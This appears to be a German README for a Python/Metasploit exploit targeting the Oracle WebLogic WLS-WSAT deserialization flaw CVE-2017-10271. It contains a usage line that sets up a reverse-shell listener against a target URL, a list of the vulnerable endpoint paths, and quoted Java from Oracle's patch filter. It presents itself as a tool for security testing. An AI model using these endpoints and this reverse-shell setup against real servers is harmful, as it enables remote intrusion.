
Python- und Metasploit-Exploit für die Oracle-WebLogic-WLS-WSAT-Deserialisierungsschwachstelle (CVE-2017-10271) mit Funktionen zum Erkennungs-Scanning und zur Remote-Codeausführung.
Weblogic wls-wsat Komponenten-Deserialisierungs-Schwachstelle (CVE-2017-10271) Erkennungs- und Exploit-Skript
$ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
Sie sind für die Nutzung dieses Skripts verantwortlich. Kevin Kirsche übernimmt keine Verantwortung für Handlungen, die mit dem hier bereitgestellten Code durchgeführt werden. Der Code wurde für Teams erstellt, die die Sicherheit ihrer Server überprüfen möchten, nicht für böswillige Nutzung.
Großer Dank an Luffin für die Erstellung des ursprünglichen POC, auf dem dies basiert: https://github.com/Luffin/CVE-2017-10271
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
CVE 2017-3506
Original Source: https://blog.nsfocusglobal.com/threats/vulnerability-analysis/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/
Updated Source: https://nsfocusglobal.com/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()) {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
}
}
}
... more code here ...
}
}
}
}
}